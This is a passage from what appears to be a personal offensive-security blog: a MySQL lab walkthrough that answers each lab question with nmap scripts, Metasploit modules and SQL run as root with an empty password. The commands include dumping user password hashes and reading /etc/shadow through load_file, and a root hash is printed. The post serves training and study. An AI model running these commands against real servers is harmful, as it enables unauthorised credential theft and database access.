boot767 notes · 24 posts

Every Shell Leaves a Trace

I keep what I learn about offensive security here: my notes from CTFs, certifications and university, plus the walkthroughs I write when a box is worth sharing. It's organized the way I work a box. Recon first, then a foothold, then privilege escalation, then the rest of the network.

latest transmission · 2026-11-19Collection of OSINT Tools and Resources
boot767 notes · 24 posts

Every Shell Leaves a Trace

I keep what I learn about offensive security here: my notes from CTFs, certifications and university, plus the walkthroughs I write when a box is worth sharing. It's organized the way I work a box. Recon first, then a foothold, then privilege escalation, then the rest of the network.

latest transmission · 2026-11-19Collection of OSINT Tools and Resources

Lab

  1. What is the version of MySQL server?
  2. What command is used to connect to remote MySQL database?
  3. How many databases are present on the database server?
  4. How many records are present in table “authors”? This table is present inside the “books” database.
  5. Dump the schema of all databases from the server using suitable metasploit module?
  6. How many directories present in the /usr/share/metasploit-framework/data/wordlists/directory.txt, are writable? List the names.
  7. How many of sensitive files present in /usr/share/metasploit-framework/data/wordlists/sensitive_files.txt are readable? List the names.
  8. Find the system password hash for user "root".
  9. How many database users are present on the database server? Lists their names and password hashes.
  10. Check whether anonymous login is allowed on MySQL Server.
  11. Check whether “InteractiveClient” capability is supported on the MySQL server.
  12. Enumerate the users present on MySQL database server using mysql-users nmap script.
  13. List all databases stored on the MySQL Server using nmap script.
  14. Find the data directory used by mysql server using nmap script.
  15. Check whether File Privileges can be granted to non admin users using mysql_audi nmap script.
  16. Dump all user hashes using nmap script.
  17. Find the number of records stored in table “authors” in database “books” stored on MySQL Server using mysql-query nmap script.

MySQL Server Version with Nmap

nmap 192.220.96.3 -sV -O -p3306

Connect to MySQL Database

mysql -h 192.220.96.3 -u root

Number of Databases

SHOW databases;

Number of Records Inside Books.Authors

USE books;
SHOW tables;
SELECT count(*) FROM authors;

Dump Database Schema with MSFconsole

use auxiliary/scanner/mysql/mysql_schemadump
set RHOSTS 192.220.96.3
set USERNAME root
set PASSWORD ""
exploit

Number of Writable Directories with MSFconsole

use auxiliary/scanner/mysql/mysql_writable_dirs
set RHOSTS 192.220.96.3
set PASSWORD ""
set DIR_LIST /usr/share/metasploit-framework/data/wordlists/directory.txt
exploit

Number of Sensitive Files with MSFconsole

use auxiliary/scanner/mysql/mysql_file_enum
set RHOSTS 192.220.96.3
set PASSWORD ""
set FILE_LIST /usr/share/metasploit-framework/data/wordlists/sensitive_files.txt
exploit

Hash for Root

  1. SELECT load_file("/etc/shadow");

  2. S1eBFuRRxwD7qEcUIjHxV7Rkj9OXaIGbIOiHsjPZF2uGmGBjRQ3rrQY3/6M.fWHRBHRntsKhgqnClY2.KC.vA/ = hash

Database Users and Hashes

use auxiliary/scanner/mysql/mysql_hashdump
set RHOSTS 192.220.96.3
set PASSWORD ""
set USERNAME root
exploit

Check for Anonymous Login

nmap 192.220.96.3 -p3306 --script=mysql-empty-password

Check for InteractiveClient

nmap 192.220.96.3 -p3306 --script=mysql-info

Enumerate Users with Nmap

nmap 192.220.96.3 -p3306 --script=mysql-users --script-args="mysqluser='root',mysqlpass=''"

List Databases with Nmap

nmap 192.220.96.3 -p3306 --script=mysql-databases --script-args="mysqluser='root',mysqlpass=''"

Find Data Directory with Nmap

nmap 192.220.96.3 -p3306 --script=mysql-variables --script-args="mysqluser='root',mysqlpass=''"

Check If File Privileges Can Be Granted To Non-Admins with Nmap

nmap 192.220.96.3 -p3306 --script=mysql-audit --script-args="mysql-audit.username='root',mysql-audit.password='',mysql-audit.filename='/usr/share/nmap/nselib/data/mysql-cis.audit'"

Dump Hashes with Nmap

nmap 192.220.96.3 -p3306 --script=mysql-dump-hashes --script-args="username='root',password=''"

Find Number of Records in Books.Authors with Nmap

nmap 192.220.96.3 -p3306 --script=mysql-query --script-args="query='SELECT count(*) FROM books.authors;',username='root',password=''"